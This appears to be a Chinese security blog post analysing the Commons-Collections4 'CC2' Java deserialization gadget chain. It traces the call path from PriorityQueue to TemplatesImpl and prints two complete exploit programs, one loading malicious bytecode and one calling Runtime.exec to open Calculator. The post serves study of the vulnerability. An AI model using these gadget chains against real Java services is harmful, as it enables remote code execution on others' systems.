CommonsCollections2利用链

Java安全

利用条件

Commons-Collections4版本

JDK版本:JDK8u301以下版本、JDK11和JDK15

在高版本JDK8u71中修改了 AnnotationInvocationHandler 的 readObject 方法,这也就导致CC1无法在高版本中利用,CC2利用链不再使用 AnnotationInvocationHandler 触发

引入依赖

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

利用链

Gadget chain:
	ObjectInputStream.readObject()
		PriorityQueue.readObject()
			PriorityQueue.heapify()
				PriorityQueue.siftDown()
					PriorityQueue.siftDownUsingComparator()
						TransformingComparator.compare()
							InvokerTransformer.transform()
								TemplatesImpl.newTransformer()

利用链分析

TransformingComparator

image-20230817112949042

TransformingComparator 是一个实现了 Comparator 和 Serializable 接口的类,用于对给定的对象列表进行比较,并通过指定的转换函数对比较的对象进行转换

image-20230817113040648

image-20230817134534906

两个构造方法和一个 compare 方法如上,这里和CC1链中的 LazyMap 类 get 方法类似,就是调用 Transformer 类型对象的 transform 方法

接下来就是要找哪些类调用了 TransformingComparator 类的 compare 方法

PriorityQueue

image-20230817140937415

经过查找 PriorityQueue 类的 siftUpUsingComparator() 方法和 siftDownUsingComparator() 方法调用了,该类实现了 Serializable 接口

image-20230817141612032

该类的 readObject() 方法中调用了 heapify() 方法

image-20230817141706132

heapify() 方法调用了 siftDown() 方法

image-20230817141804141

comparator 不为空的话,siftDown() 方法又调用了 siftDownUsingComparator() 方法

image-20230817141946929

image-20230817142843144

在 siftDownUsingComparator() 方法中调用了 comparator.compare() 方法

TransformingComparator 类实现了 Comparator 接口,所以这里是可直接使用的

byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
        "/CommonsCollections/EvilCode.class"));
byte[][] codes = {code};
TemplatesImpl templates = new TemplatesImpl();
Class TemplatesClass = templates.getClass();
Field name = TemplatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"x");
Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,codes);

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);

image-20230817212755751

image-20230817213018379

为了避免在序列化前时调用 add() 方法就执行到 TransformingComparator.compare() 方法,我们需要在 new TransformingComparator() 时传入一个没有任何意义的 Transformer 类型对象 new ConstantTransformer(1)

PriorityQueue 类 queue 属性至少需要两个元素才能进行比较,所以至少需要调用 add() 方法两次

再通过反射将 TransformingComparator 类的 transformer 字段值改成 invokerTransformer 对象就能避免在序列化时会出错的问题

在序列化时调用的是 siftUpUsingComparator() 方法,在反序列化时调用的是 siftDownUsingComparator() 方法

利用链EXP编写

image-20230817160108576

上面是整个调用栈的过程和最后调用到的地方,根据上面调用栈再根据分析就能写出CC2的POC

基于ysoserial链EXP

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CommonsCollections2 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
        byte[] code = Files.readAllBytes(Paths.get("/Users/wiley/IdeaProjects/javaResearch/src/main/java" +
                "/CommonsCollections/EvilCode.class"));
        byte[][] codes = {code};
        TemplatesImpl templates = new TemplatesImpl();
        Class TemplatesClass = templates.getClass();
        Field name = TemplatesClass.getDeclaredField("_name");
        name.setAccessible(true);
        name.set(templates,"x");
        Field bytecodes = TemplatesClass.getDeclaredField("_bytecodes");
        bytecodes.setAccessible(true);
        bytecodes.set(templates,codes);

        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class transformingComparatorClass = transformingComparator.getClass();
        Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,invokerTransformer);

        serialize(priorityQueue);
        deserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        return objectInputStream.readObject();
    }
}

自定义链EXP

import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsCollection2_Custom {
    public static void main(String[] args) throws Exception {
        Transformer[] transformer = new Transformer[]{
            new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator"})
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        Class TransformingComparatorClass = transformingComparator.getClass();
        Field transformerField = TransformingComparatorClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,chainedTransformer);

        serialize(priorityQueue);
        deserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        objectOutputStream.writeObject(obj);
    }

    public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
        return objectInputStream.readObject();
    }
}

Author: wileysec

Permalink: https://wileysec.github.io/3a3651677a27.html

Comments